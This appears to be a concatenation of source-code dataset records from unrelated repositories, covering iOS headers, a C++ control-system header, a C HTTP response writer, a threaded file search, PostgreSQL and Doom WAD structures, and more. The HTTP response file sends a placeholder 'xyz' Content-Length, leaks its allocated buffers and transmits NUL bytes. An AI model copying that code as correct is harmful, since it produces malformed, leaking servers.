Fractal Touch/ftColorLoverBuyViewController.h
oxfeeefeee/iFractalTouch
fdb8e953bb96164dd7a52802388b4f2a6caf3e36
[ "MIT" ]
2
2016-08-03T06:04:46.000Z
2016-08-03T06:20:42.000Z
Fractal Touch/ftColorLoverBuyViewController.h
oxfeeefeee/iFractalTouch
fdb8e953bb96164dd7a52802388b4f2a6caf3e36
[ "MIT" ]
null
null
null
Fractal Touch/ftColorLoverBuyViewController.h
oxfeeefeee/iFractalTouch
fdb8e953bb96164dd7a52802388b4f2a6caf3e36
[ "MIT" ]
null
null
null
// // ftColorLoverBuyViewController.h // Fractal Touch // // Created by Hao Wu on 13-2-2. // // #import "ftBuyViewController.h" @interface ftColorLoverBuyViewController : ftBuyViewController @property (weak, nonatomic) IBOutlet UIButton *buyButton; @property (weak, nonatomic) IBOutlet UIButton *fullVersionButton; @property (weak, nonatomic) IBOutlet UILabel *fullVersionDesc; @property (weak, nonatomic) IBOutlet UILabel *isEnabledText; @property (weak, nonatomic) IBOutlet UIActivityIndicatorView *priceLoadingIndicator; - (IBAction)buyNowClick:(id)sender; - (IBAction)fullVersionClick:(id)sender; - (void)gotoUISate:(enum BuyViewUIState) state; @end
25.576923
84
0.777444
4435e0a357fc1679b84a3c4adab353170d000c6b
3,582
h
C
include/copra/systems/TimeInvariantSystem.h
ANYbotics/copra
d06095fb4c6f9d7103dae2b44a32759c7cfc4ee1
[ "BSD-2-Clause" ]
null
null
null
include/copra/systems/TimeInvariantSystem.h
ANYbotics/copra
d06095fb4c6f9d7103dae2b44a32759c7cfc4ee1
[ "BSD-2-Clause" ]
null
null
null
include/copra/systems/TimeInvariantSystem.h
ANYbotics/copra
d06095fb4c6f9d7103dae2b44a32759c7cfc4ee1
[ "BSD-2-Clause" ]
null
null
null
/* * Copyright 2016-2019 CNRS-UM LIRMM, CNRS-AIST JRL * Copyright 2020 ANYbotics AG */ #pragma once #include <Eigen/Core> #include "copra/api.h" #include "copra/systems/System.h" namespace copra { /*! Linear time-invariant (LTI) system. * * An LTI system is defined by: * \f$x_{k+1} = A x_{k} + B u_{k} + d\f$ * where \f$x\f$ is the state, \f$u\f$ is the input, \f$A\f$ is the state matrix, \f$B\f$ is the input matrix, and \f$d\f$ is the drift. * * States and inputs can be grouped into stacked vectors \f$X = [x_0^T x_1^T ... x_N^T]^T\f$ and \f$U = [u_0^T u_1^T ... u_{N-1}^T]^T\f$ * where \f$N\f$ is the number of steps of the receding horizon. Then, \f$dim(X) = (N + 1) dim(x)\f$ and \f$dim(U) = N dim(u)\f$. * * Applying the system equation recursively, the stacked state vector can be written as * \f$X = \Phi x_{0} + \Psi U + \Xi\f$ * following the single-shooting method. See for instance "A condensed and sparse qp formulation for predictive control" (Jerez et al.) or * its application in "Model preview control in multi-contact motion-application to a humanoid robot" (Audren et al.). */ struct COPRA_DLLAPI TimeInvariantSystem : public System { /** * Default constructor. */ TimeInvariantSystem() = default; /** * Constructor of the class. * \param state The state matrix of the system. * \param control The control matrix of the system. * \param bias The bias vector of the system. * \param xInit The initial state. * \param numberOfSteps The number of step to perform. * \throw std::domain_error if the dimension of the matrices mismatch. */ TimeInvariantSystem(const Eigen::MatrixXd& state, const Eigen::MatrixXd& control, const Eigen::VectorXd& bias, const Eigen::VectorXd& xInit, int numberOfSteps) { reset(state, control, bias, xInit, numberOfSteps); } /*! Reset system. * * \param state The state matrix of the system. * \param control The control matrix of the system. * \param bias The bias vector of the system. * \param xInit The initial state. * \param numberOfSteps The number of step to perform. * \throw std::domain_error if the dimension of the matrices mismatch. */ void reset(const Eigen::MatrixXd& state, const Eigen::MatrixXd& control, const Eigen::VectorXd& bias, const Eigen::VectorXd& xInit, int numberOfSteps); /** * \brief Update the system. * Fill Phi, Psi, xi in System */ void update() noexcept override; /*! Get the state matrix at a given time step. * * @param step Time step \f$k\f$. * @return State matrix \f$A_{k} = A\f$ (LTI system). * * \note Returns a copy. */ Eigen::MatrixXd getStateMatrix(int /* step */) const override { return A_; } /*! Get the input matrix at a given time step. * * @param step Time step \f$k\f$. * @return Input matrix \f$B_{k} = B\f$ (LTI system). * * \note Returns a copy. */ Eigen::MatrixXd getInputMatrix(int /* step */) const override { return B_; } /*! Get the drift vector at a given time step. * * @param step Time step \f$k\f$. * @return Drift vector \f$d_{k} = d\f$ (LTI system). * * \note Returns a copy. */ Eigen::VectorXd getDriftVector(int /* step */) const override { return d_; } protected: Eigen::MatrixXd A_; /**< Buffer for state matrices */ Eigen::MatrixXd B_; /**< Buffer for control matrices */ Eigen::VectorXd d_; /**< Buffer for bias (drift) vectors */ }; } // namespace copra
35.465347
138
0.636516
444a40697de0be43798d84ac23f8f1a231136394
1,651
c
C
src/http_response.c
brendanashworth/wookie
c73c3e16ca989be05d85dd0a7c92335a58e0ba5f
[ "MIT" ]
1
2015-06-17T03:36:50.000Z
2015-06-17T03:36:50.000Z
src/http_response.c
brendanashworth/wookie
c73c3e16ca989be05d85dd0a7c92335a58e0ba5f
[ "MIT" ]
null
null
null
src/http_response.c
brendanashworth/wookie
c73c3e16ca989be05d85dd0a7c92335a58e0ba5f
[ "MIT" ]
null
null
null
// http_response.c #include <sys/socket.h> #include <string.h> #include "memory.h" struct wookie_response { char *code; char *content; }; /** * End a header (or entire HTTP header) of a response. * @param connfd Connection file descriptor. */ static inline void http_response_end_header(int connfd) { send(connfd, "\r\n", 2, 0); } void http_response_send(wookie_response *response, int connfd) { // First send response status http_response_send_statusline("HTTP/1.1", response->code, "OK", connfd); http_response_send_header("Content-Length", "xyz", connfd); http_response_send_header("Server", "wookie", connfd); http_response_end_header(connfd); // Response send(connfd, response->content, strlen(response->content), 0); } void http_response_send_statusline(char *version, char *code, char *message, int connfd) { // Calculate the length of the status line size_t length = strlen(version) + 1 + strlen(code) + 1 + strlen(message) + 2 + 1; // Allocate and build the status line char *statusline = w_malloc(length); strcpy(statusline, version); strcat(statusline, " "); strcat(statusline, code); strcat(statusline, " "); strcat(statusline, message); strcat(statusline, "\r\n"); // Send the status line send(connfd, statusline, length, 0); } void http_response_send_header(char *key, char *value, int connfd) { // Calculate length of header size_t length = strlen(key) + 2 + strlen(value) + 1; char *header = w_malloc(length); strcpy(header, key); strcat(header, ": "); strcat(header, value); // Send actual header send(connfd, header, length, 0); // Send line endings http_response_end_header(connfd); }
26.206349
90
0.714718
71b0bdedcfb863a174a7a7944a8e71adae964ba6
2,041
c
C
cw08/zad1/main.c
Kotwic4/SysOpy
aed765eaec9dd77a303de2f30d326b8ccf2f7ed9
[ "MIT" ]
null
null
null
cw08/zad1/main.c
Kotwic4/SysOpy
aed765eaec9dd77a303de2f30d326b8ccf2f7ed9
[ "MIT" ]
null
null
null
cw08/zad1/main.c
Kotwic4/SysOpy
aed765eaec9dd77a303de2f30d326b8ccf2f7ed9
[ "MIT" ]
null
null
null
#include "common.h" FILE * handle; char * word_to_find; int record_number; pthread_t * threads; int thread_number; int word_len; void * thread(void * args){ #ifdef ASYN pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,NULL); #endif struct Record * buff = calloc(record_number,RECORD_SIZE); while(1){ int read = fread(buff, RECORD_SIZE, record_number, handle); if(read==0) { free(buff); pthread_exit(0); } for(int i=0;i<read;i++){ int len = strlen(buff[i].text)-word_len; for(int j=0; j<=len;j++){ if(strncmp(word_to_find,&buff[i].text[j],word_len)==0) { printf("TID:%ld RID:%d\n", pthread_self(), buff[i].id); #ifndef DETA for(int k = 0; k < thread_number;k++){ if(pthread_equal(pthread_self(),threads[k])==0){ pthread_cancel(threads[k]); } } free(buff); pthread_exit(0); #else break; #endif } } } #ifdef SYNC sleep(0); #endif } } int main(int argv, char ** argc){ if(argv < 5){ printf("Za malo argumentów(potrzeba 4)\n"); exit(EXIT_FAILURE); } thread_number = atoi(argc[1]); char * filename = argc[2]; record_number = atoi(argc[3]); word_to_find = argc[4]; word_len = strlen(word_to_find); threads = calloc(thread_number,sizeof(pthread_t)); if((handle = fopen(filename,"rb"))==NULL){ perror("fopen"); exit(EXIT_FAILURE); } for(int i=0;i<thread_number;i++){ if(pthread_create(&threads[i], NULL, thread, NULL)==-1){ perror("Create pthread"); exit(EXIT_FAILURE); } #ifdef DETA pthread_detach(threads[i]); #endif } #ifndef DETA for(int i=0;i<thread_number;i++){ pthread_join(threads[i], NULL); } #else while(1){ } #endif return 0; }
25.835443
75
0.526213
17012c01cf8a6b8ceff06b3774bba4acde1e2e12
548
h
C
PSUIFramework/PSUIFramework.h
nkandregula/PSUIFramework
c477f818731fd1ddc826358a8d37a25fee8617ed
[ "MIT" ]
null
null
null
PSUIFramework/PSUIFramework.h
nkandregula/PSUIFramework
c477f818731fd1ddc826358a8d37a25fee8617ed
[ "MIT" ]
null
null
null
PSUIFramework/PSUIFramework.h
nkandregula/PSUIFramework
c477f818731fd1ddc826358a8d37a25fee8617ed
[ "MIT" ]
null
null
null
// // PSUIFramework.h // PSUIFramework // // Created by Narayana rao Kandregula on 12/02/19. // Copyright © 2019 Narayana rao Kandregula. All rights reserved. // #import <UIKit/UIKit.h> //! Project version number for PSUIFramework. FOUNDATION_EXPORT double PSUIFrameworkVersionNumber; //! Project version string for PSUIFramework. FOUNDATION_EXPORT const unsigned char PSUIFrameworkVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <PSUIFramework/PublicHeader.h>
27.4
138
0.777372
5715f7c9421244528ccebaee6047abce07326d0f
7,915
h
C
XpMatch/XpMatch.h
arayq2/xml-dev
e780dc7a0e2a3debf829c66a2b93f7cbe2943ab8
[ "MIT" ]
null
null
null
XpMatch/XpMatch.h
arayq2/xml-dev
e780dc7a0e2a3debf829c66a2b93f7cbe2943ab8
[ "MIT" ]
null
null
null
XpMatch/XpMatch.h
arayq2/xml-dev
e780dc7a0e2a3debf829c66a2b93f7cbe2943ab8
[ "MIT" ]
null
null
null
#pragma once #include "OutputMethods.h" #include "XmlSys/Mappers.h" #include "Utility/FileListProcessor.h" #include "Utility/ProgramOptions.h" class XpMatch { public: XpMatch() = default; ~XpMatch() = default; void run( int ac, char *av[] ) { if ( parse( ac, av ) ) { execute(); } } private: XpMatch(XpMatch const&) = delete; XpMatch& operator= ( XpMatch const& ) = delete; po::variables_map vm_; std::string table_; std::vector<std::string> columns_; std::string initial_; std::string xpath_; std::string listfile_; std::string directory_; std::string separator_; std::vector<std::string> clafiles_; bool parse( int ac, char *av[] ) { po::options_description _help("Help"); _help.add_options() ( "help,h", "show options" ) ; po::options_description _table("Table mode options [Note: -t and -c are mutually exclusive]"); _table.add_options() ( "table,t", po::value<std::string>(&table_), "column-specs filename" ) ( "column,c", po::value<std::vector<std::string> >(&columns_), "inline column-spec (repeatable)" ) ( "initial,i", po::value<std::string>(&initial_), "initial context xpath" ) ; po::options_description _grep("Grep mode options"); _grep.add_options() ( "xpath,x", po::value<std::string>(&xpath_), "xpath pattern" ) ( "blanks,b", "include blanks (with -x option)" ) ( "only,o", "blanks only (with -b option)" ) ; po::options_description _input("Source (input) options"); _input.add_options() ( "listfile,l", po::value<std::string>(&listfile_), "list of files filename" ) ( "directory,d", po::value<std::string>(&directory_), "directory for files (default .)" ) ( "readxml,r", "read xml content from STDIN") ; po::options_description _output("Format (output) options [Note: -q and -s are mutually exclusive]"); _output.add_options() ( "noheader,n", "suppress header row (or no titles in grep mode)" ) ( "quoted,q", "CSV-style output for Excel (in table mode)" ) ( "separator,s", po::value<std::string>(&separator_), "delimiter in table mode output (default TAB)" ) ; po::options_description _hidden("Command line file list"); _hidden.add_options() ( "clafiles", po::value<std::vector<std::string> >(&clafiles_), "[list of files ...]" ) ; po::positional_options_description _pod; _pod.add( "clafiles", -1 ); po::options_description _visible("Options"); _visible.add( _help ) .add( _table ).add( _grep ) .add( _input ).add( _output ); po::options_description _all("All options"); _all.add( _help ) .add( _table ).add( _grep ) .add( _input ).add( _output ) .add( _hidden ); po::store( po::command_line_parser( ac, av ) .options( _all ).positional( _pod ).run(), vm_ ); if ( OPTION_PRESENT(vm_, "help") ) { std::cerr << "\nUsage: \n\t" << av[0] << " options [ file ... | (read list from STDIN) ]\n" << _visible << std::endl; return false; } po::notify( vm_ ); return true; } // handle mode void execute() const { if ( OPTION_PRESENT(vm_, "column") ) { do_output( XmlSys::AgentSet(columns_.begin(), columns_.end()) ); } else if ( OPTION_PRESENT(vm_, "table") ) { std::ifstream _specs(table_.c_str()); if ( _specs ) { do_output( XmlSys::AgentSet(_specs) ); } else { std::cerr << "Problem with column specification file [" << table_ << "]!" << std::endl; } } else if ( OPTION_PRESENT(vm_, "xpath") ) { do_grep(); } else { std::cerr << "\n\tNothing to do, exiting. Try -h option for help." << std::endl; } } // set output style for table mode void do_output( XmlSys::AgentSet const& agents ) const { if ( OPTION_PRESENT(vm_, "quoted") ) { Utility::QuotedOutput _output; do_table( agents, _output ); } else { Utility::DelimitedOutput _output; if ( OPTION_PRESENT(vm_, "separator") ) { _output.separator( separator_ ); } do_table( agents, _output ); } } template<typename Output> void do_table( XmlSys::AgentSet const& agents, Output& output ) const { // associate agent set with output method XmlSys::AgentSetMapper<Output> _mapper(agents, output); if ( OPTION_ABSENT(vm_, "noheader") ) { _mapper.header(); } // run if ( initial_.length() > 0 ) // this could be more robust { using namespace std::placeholders; auto _lambda(std::bind( _mapper, _1, _2, initial_ )); dispatch( _lambda ); } else { dispatch( _mapper ); } } // handle input options template<typename Client> void dispatch( Client& client ) const { if ( OPTION_PRESENT(vm_, "readxml") ) { client( std::cin, "STDIN" ); return; } Utility::FileListProcessor<Client> _reader(client, directory_); if ( OPTION_PRESENT(vm_, "listfile") ) { _reader.do_file( listfile_ ); } else if ( OPTION_PRESENT(vm_, "clafiles") ) { _reader.do_list( clafiles_.begin(), clafiles_.end() ); } else { //std::cerr << "[Reading <STDIN> for list of files...]" << std::endl; _reader.do_stream( std::cin ); } } void do_grep() const { // configure output options Utility::PrefixedOutput _output; _output .blanks( OPTION_PRESENT(vm_, "blanks") ) .only( OPTION_PRESENT(vm_, "only") ) .notitle( OPTION_PRESENT(vm_, "noheader") ) ; // configure agent XmlSys::XpathAgent _agent(xpath_); // associate agent with output method XmlSys::AgentMapper<Utility::PrefixedOutput> _mapper(_agent, _output); // run for input options dispatch( _mapper ); } };
35.977273
120
0.443967
57796df459d10f3a9e87d39b6784a6e4fd67fde0
1,140
h
C
services/network/url_request_context_owner.h
zealoussnow/chromium
fd8a8914ca0183f0add65ae55f04e287543c7d4a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
14,668
2015-01-01T01:57:10.000Z
2022-03-31T23:33:32.000Z
services/network/url_request_context_owner.h
zealoussnow/chromium
fd8a8914ca0183f0add65ae55f04e287543c7d4a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
services/network/url_request_context_owner.h
zealoussnow/chromium
fd8a8914ca0183f0add65ae55f04e287543c7d4a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
5,941
2015-01-02T11:32:21.000Z
2022-03-31T16:35:46.000Z
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef SERVICES_NETWORK_URL_REQUEST_CONTEXT_OWNER_H_ #define SERVICES_NETWORK_URL_REQUEST_CONTEXT_OWNER_H_ #include <memory> #include "base/component_export.h" class PrefService; namespace net { class URLRequestContext; } namespace network { // This owns a net::URLRequestContext and other state that's used with it. struct COMPONENT_EXPORT(NETWORK_SERVICE) URLRequestContextOwner { URLRequestContextOwner(); URLRequestContextOwner( std::unique_ptr<PrefService> pref_service, std::unique_ptr<net::URLRequestContext> url_request_context); ~URLRequestContextOwner(); URLRequestContextOwner(URLRequestContextOwner&& other); URLRequestContextOwner& operator=(URLRequestContextOwner&& other); // This needs to be destroyed after the URLRequestContext. std::unique_ptr<PrefService> pref_service; std::unique_ptr<net::URLRequestContext> url_request_context; }; } // namespace network #endif // SERVICES_NETWORK_URL_REQUEST_CONTEXT_OWNER_H_
29.230769
74
0.799123
029c68191ab5e81f4f88f8dd34f124db1beddd0a
106
h
C
mysql/contrib/mariadb-connector-c/plugins/auth/ref10/crypto_uint64.h
hotpoor/DolphinDBPlugin
9eed3f591929440630daf993d3552814bf7fde1a
[ "Apache-2.0" ]
40
2018-07-12T03:57:58.000Z
2021-12-31T00:20:50.000Z
mysql/contrib/mariadb-connector-c/plugins/auth/ref10/crypto_uint64.h
hotpoor/DolphinDBPlugin
9eed3f591929440630daf993d3552814bf7fde1a
[ "Apache-2.0" ]
45
2016-06-19T09:31:22.000Z
2020-04-16T08:54:13.000Z
pmem-mariadb/plugin/auth_ed25519/crypto_uint64.h
isabella232/pmdk-examples
be7a5a18ba7bb8931e512f6d552eadf820fa2235
[ "BSD-3-Clause" ]
22
2018-07-12T06:16:57.000Z
2022-01-15T03:38:51.000Z
#include <stdint.h> #include <sys/types.h> typedef uint64_t crypto_uint64; #define select ed25519_select
17.666667
31
0.792453
b39abbd991566d65bde6bed62ab4b418d897b0d1
869
h
C
MKAmrTransformer/arm/RecordManager.h
ForAllKid/MKAmrTransformer
15783e400883110d9f418d89b623a587db918636
[ "MIT" ]
null
null
null
MKAmrTransformer/arm/RecordManager.h
ForAllKid/MKAmrTransformer
15783e400883110d9f418d89b623a587db918636
[ "MIT" ]
null
null
null
MKAmrTransformer/arm/RecordManager.h
ForAllKid/MKAmrTransformer
15783e400883110d9f418d89b623a587db918636
[ "MIT" ]
null
null
null
// // RecordManager.h // VoiceRecord // // Created by 好价网络科技有限公司 on 16/1/15. // Copyright © 2016年 Grey. All rights reserved. // #import <Foundation/Foundation.h> typedef void (^writeSuccessBlock)(BOOL success,NSData *amrData); typedef void (^progressBlock)(float progress); @interface RecordManager : NSObject +(RecordManager*)shareManager; @property (nonatomic,copy)progressBlock progress; - (void)writeAuToAmrFile:(NSURL*)tmpFileUrl callback:(writeSuccessBlock)block; - (BOOL)writeAuToAmrFile:(NSURL*)tmpFileUrl; /* 存储文件名 */ - (void)startTalkVoice:(NSString*)fileName; /* 停止返回存储caf的地址 */ - (NSURL*)stopTalkVoice; /** 暂停录音 */ - (void)pauseVoice; - (void)continueVoice; /* 取消录音,删除文件 */ - (void)cancelTalkVoice; /* 播放amr 文件 */ - (void)playAmrData:(NSData*)amrData; /* 录音时长 */ - (NSString*)getAudioTime:(NSData *)data; /* 销毁对象 */ - (void)destroy; @end
18.489362
78
0.710012
5f5fd11df91c1638d7c5501c8dbaaffede7ce1f6
956
c
C
demo/C/15-FuzzyMatch/spelling.c
raccoonmonk/quex
20ffe451df9fd49bdc216ce45b8263fa228670e5
[ "MIT" ]
null
null
null
demo/C/15-FuzzyMatch/spelling.c
raccoonmonk/quex
20ffe451df9fd49bdc216ce45b8263fa228670e5
[ "MIT" ]
1
2022-01-31T18:08:44.000Z
2022-01-31T18:08:44.000Z
demo/C/15-FuzzyMatch/spelling.c
raccoonmonk/quex
20ffe451df9fd49bdc216ce45b8263fa228670e5
[ "MIT" ]
null
null
null
#include <stdio.h> #include "SpellLex/SpellLex.h" void notify(const char* Name, const char* Lexeme); int main(int argc, char** argv) { SpellLex_Token* token_p = NULL; SpellLex tlex; const char* file_name = (const char*)NULL; if( argc < 2 ) { printf("Missing file name. Try 'spelling.txt'.\n"); exit(-1); } file_name = &argv[1][0]; SpellLex_from_file_name(&tlex, file_name, /* Converter */NULL); printf("\n\nAnalysing file '%s'\n\n", file_name); while( tlex.error_code == E_Error_None ) { tlex.receive(&tlex, &token_p); if( token_p->id == QUEX_TKN_TERMINATION ) break; printf("%s", SpellLex_map_token_id_to_name(token_p->id)); printf(": %s\n", token_p->text); } printf("\n"); SpellLex_destruct(&tlex); return 0; } void notify(const char* Name, const char* Lexeme) { printf(" no match for '%s'. Did you mean '%s'?\n", Lexeme, Name); }
27.314286
85
0.601464
beea5f8d01dc450c0e8c74b94da40be55921bb1f
275
c
C
Chapter7/Lecture1/lecture1.c
leeyunhome/TBC-workbook
ac0b01990d208ddeaa2e1a8093781cc3141128e2
[ "Unlicense" ]
1
2021-04-14T07:14:08.000Z
2021-04-14T07:14:08.000Z
Chapter7/Lecture1/lecture1.c
leeyunhome/TBC-workbook
ac0b01990d208ddeaa2e1a8093781cc3141128e2
[ "Unlicense" ]
null
null
null
Chapter7/Lecture1/lecture1.c
leeyunhome/TBC-workbook
ac0b01990d208ddeaa2e1a8093781cc3141128e2
[ "Unlicense" ]
null
null
null
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> int main() { int number; printf("Input a positive integer : "); scanf("%d", &number); if (0 == number % 2) printf("Even\n"); else // if (0 != number % 2) printf("Odd\n"); //TODO: print even or odd return 0; }
14.473684
39
0.607273
24ea8c0620766e326128dbb30c033380cda400f9
198
h
C
dev/spark/Gem/Code/Source/sparkCVars.h
chrisinajar/spark
3c6b30592c00bc38738cc3aaca2144edfc6cc8b2
[ "AML" ]
2
2020-08-20T03:40:24.000Z
2021-02-07T20:31:43.000Z
dev/spark/Gem/Code/Source/sparkCVars.h
chrisinajar/spark
3c6b30592c00bc38738cc3aaca2144edfc6cc8b2
[ "AML" ]
null
null
null
dev/spark/Gem/Code/Source/sparkCVars.h
chrisinajar/spark
3c6b30592c00bc38738cc3aaca2144edfc6cc8b2
[ "AML" ]
5
2020-08-27T20:44:18.000Z
2021-08-21T22:54:11.000Z
#pragma once namespace spark { class SparkCVars { public: static const char* PLAYER_COUNT_CVAR; SparkCVars(); ~SparkCVars(); void RegisterCVars(); void UnregisterCVars(); }; };
11.647059
39
0.671717
f15de8f43e594985ce03247e377f4ddab2b535fc
170
c
C
tests/language/clang-output/tbaa.c
XmiliaH/ravi
a2ec53624d58b8d952a40868bd83fe4690c7d305
[ "MIT" ]
1,048
2015-01-22T07:36:44.000Z
2022-03-28T12:55:41.000Z
tests/language/clang-output/tbaa.c
XmiliaH/ravi
a2ec53624d58b8d952a40868bd83fe4690c7d305
[ "MIT" ]
231
2015-01-29T00:09:32.000Z
2022-02-23T09:55:38.000Z
tests/language/clang-output/tbaa.c
XmiliaH/ravi
a2ec53624d58b8d952a40868bd83fe4690c7d305
[ "MIT" ]
70
2015-01-25T14:15:03.000Z
2021-11-29T00:18:50.000Z
#include "lua_hdr.h" extern int test(struct lua_State *L, int y); extern int i; int test(struct lua_State *L, int y) { int x = L->stacksize; y = x+i; return y; }
12.142857
44
0.641176
f2f1bfcc15b1215c1058bf73bef2014fb8884226
1,649
h
C
language/inc/TLUbuiltin.h
antikostya/libTLU
55bedbca0c6a249a5440124a9de3e9eb7fa1fbe6
[ "MIT" ]
2
2022-01-03T09:26:44.000Z
2022-03-19T14:14:54.000Z
language/inc/TLUbuiltin.h
antikostya/libTLU
55bedbca0c6a249a5440124a9de3e9eb7fa1fbe6
[ "MIT" ]
null
null
null
language/inc/TLUbuiltin.h
antikostya/libTLU
55bedbca0c6a249a5440124a9de3e9eb7fa1fbe6
[ "MIT" ]
null
null
null
#ifndef TLU_BUILTIN_H # define TLU_BUILTIN_H # include <TLUdefs.h> # include <TLUobjstack.h> # include <TLUmemory.h> # include <TLUoperators.h> # define TLUinit _TLUinit_macro # define TLUstop _TLUstop_macro # define TLUfun_begin TLUscope_begin # define TLUreturn(__retval) _TLUreturn_macro(__retval) # define try __TLU_try_block # define except(...) __TLU_except_block(__VA_ARGS__) # define as(__name) __TLU_except_as(__name) # define finally __TLU_finally_block # define endtry __TLU_endtry __TLU_endtry_outscope # define throw(__exc) __TLU_throw_exception(__exc) TLUobject TLUnum(intmax_t a); TLUobject TLUstr(const char *st); TLUobject TypeError(TLUobject what); TLUobject ValueError(TLUobject what); inline void sum() {} inline void print() {} inline void del() {} inline void num() {} inline void format() {} # define sum(...) __TLU_call_builtin_macro(sum, __VA_ARGS__) # define print(...) __TLU_call_builtin_macro(print, __VA_ARGS__) # define del(...) __TLU_call_builtin_macro(true_del, __VA_ARGS__) # define num(...) __TLU_call_builtin_macro(num, __VA_ARGS__) # define format(...) __TLU_call_builtin_macro(format, __VA_ARGS__) __TLU_add_unary_builtin_macro(TLUobject, copy) __TLU_add_unary_builtin_macro(TLUobject, str) __TLU_add_binary_builtin_macro(void, iadd) TLUobject _TLU_num(size_t argc, TLUobject *__PTR argv); TLUobject _TLU_str(size_t argc, TLUobject *__PTR argv); TLUobject _TLU_sum(size_t argc, TLUobject *__PTR argv); TLUobject _TLU_print(size_t argc, TLUobject *__PTR argv); TLUobject _TLU_format(size_t argc, TLUobject *__PTR argv); #endif /* TLU_BUILTIN_H */
31.113208
66
0.765919
44f54006f260a317dfa215a4ef6800470b08e064
526
c
C
src/postgres/interface/v083.c
EthVM/pgbackrest
09ef03b7ef69d2760756146cad86b784b0b5d7c3
[ "MIT" ]
1,094
2016-04-17T19:41:53.000Z
2022-03-31T01:48:40.000Z
src/postgres/interface/v083.c
EthVM/pgbackrest
09ef03b7ef69d2760756146cad86b784b0b5d7c3
[ "MIT" ]
1,533
2016-04-16T20:38:46.000Z
2022-03-30T06:55:38.000Z
src/postgres/interface/v083.c
EthVM/pgbackrest
09ef03b7ef69d2760756146cad86b784b0b5d7c3
[ "MIT" ]
148
2016-04-17T06:11:45.000Z
2022-03-09T16:27:01.000Z
/*********************************************************************************************************************************** PostgreSQL 8.3 Interface See postgres/interface/version.intern.h for documentation. ***********************************************************************************************************************************/ #include "build.auto.h" #define PG_VERSION PG_VERSION_83 #include "postgres/interface/version.intern.h" PG_INTERFACE(083);
40.461538
132
0.323194
287bb95bd44ebf7462641e7104c57af6b939b6b9
4,128
h
C
include/wad/WadTypes.h
bcsanches/wadlib
e4b9dbed4233c2b5be9cd3c2fa261001f8d43ad5
[ "Zlib" ]
8
2015-05-10T02:49:19.000Z
2021-02-13T19:03:17.000Z
include/wad/WadTypes.h
bcsanches/wadlib
e4b9dbed4233c2b5be9cd3c2fa261001f8d43ad5
[ "Zlib" ]
3
2015-04-28T22:19:20.000Z
2016-06-14T15:11:09.000Z
include/wad/WadTypes.h
bcsanches/wadlib
e4b9dbed4233c2b5be9cd3c2fa261001f8d43ad5
[ "Zlib" ]
null
null
null
/* wadlib Copyright (c) 2011 Bruno Sanches http://code.google.com/p/wadlib This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 3. This notice may not be removed or altered from any source distribution. */ #ifndef WAD_TYPES_H #define WAD_TYPES_H typedef signed char int8_t; typedef unsigned char uint8_t; typedef short int16_t; typedef unsigned short uint16_t; typedef int int32_t; typedef unsigned int uint32_t; typedef unsigned long long uint64_t; #include <string> #include <string.h> union Name_u { Name_u(): uName(0) { } Name_u(const char *archName) { uName = 0; strncpy(this->archName, archName, 8); } std::string ToString() const { char temp[9]; strncpy(temp, archName, 8); temp[8] = 0; return std::string(temp); } inline void MakeUpperCase() { for(int i = 0;i < 8 && archName[i]; ++i) archName[i] = toupper(archName[i]); } #pragma pack(push) #pragma pack(1) //name of the lump char archName[8]; uint64_t uName; #pragma pack(pop) }; struct LumpInfo_s { int32_t iNum; int32_t iOffset; }; struct Directory_s { //Offset of the lump int32_t iOffset; //lump size int32_t iSize; Name_u unName; }; struct Thing_s { int16_t iX; int16_t iY; int16_t iAngle; int16_t iType; int16_t iFlags; }; struct LineDef_s { int16_t iStartVertex; int16_t iEndVertex; int16_t iFlags; int16_t iSpecialType; int16_t iSectorTag; int16_t iRightSideDef; int16_t iLeftSideDef; }; struct Vertex_s { int16_t iX; int16_t iY; }; struct GLVertex_s { int32_t iX; int32_t iY; }; struct Segment_s { int16_t iStartVertex; int16_t iEndVertex; int16_t iAngle; int16_t iLineDef; //0 (same as linedef) or 1 (opposite of linedef) int16_t iDirection; //distance along linedef to start of seg int16_t iOffset; inline int GetDirectionStartVertex() const { return iDirection ? iEndVertex : iStartVertex; } inline int GetDirectionEndVertex() const { return iDirection ? iStartVertex : iEndVertex; } }; struct GLSegment5_s { uint32_t iStartVertex; uint32_t iEndVertex; uint16_t iLineDef; uint16_t iSide; uint32_t iPartnerSegment; }; #define VERT_IS_GL (1 << 31) struct Node_s { //Partition line start int16_t iX; int16_t iY; //Partition line change int16_t iCX; int16_t iCY; int16_t ariRightBBox[4]; int16_t ariLeftBBox[4]; int16_t iRightChild; int16_t iLeftChild; }; struct SubSector_s { int16_t iCount; int16_t iFirstSeg; }; struct GLSubSector3_s { uint32_t iCount; uint32_t iFirstSeg; }; struct Sector_s { int16_t iFloorHeight; int16_t iCeilHeight; Name_u unFloorTexture; Name_u unCeilTexture; int16_t iLightLevel; uint16_t uType; uint16_t uTag; }; enum LevelLumps_e { LL_NAME, LL_THINGS, LL_LINEDEFS, LL_SIDEDEFS, LL_VERTICES, LL_SEGS, LL_SSECTORS, LL_NODES, LL_SECTORS, LL_REJECT, LL_BLOCKMAP, LL_GL_NAME, LL_GL_VERT, LL_GL_SEGS, LL_GL_SSECTORS, LL_GL_NODES, LL_GL_PVS }; #pragma pack(push) #pragma pack(1) struct Texture_s { Name_u unName; uint32_t uMasked; uint16_t uWidth; uint16_t uHeight; //obsolete, ignore uint32_t uColumnDirectory; uint16_t uPatchCount; }; #pragma pack(pop) struct TexturePatch_s { int16_t iOriginX; int16_t iOriginY; uint16_t uPatch; int16_t iStepDir; uint16_t uColormap; }; struct Patch_s { int16_t iWidth; int16_t iHeight; int16_t iLeftOffset; int16_t iTopOffset; }; struct SideDef_s { int16_t iOffsetX; int16_t iOffsety; Name_u uUpperTexture; Name_u uLowerTexture; Name_u uMiddleTexture; int16_t iSector; }; #endif
15.518797
99
0.683624
ff9a0d6e61da9533a2bead1c55153270bd3788a6
21,775
c
C
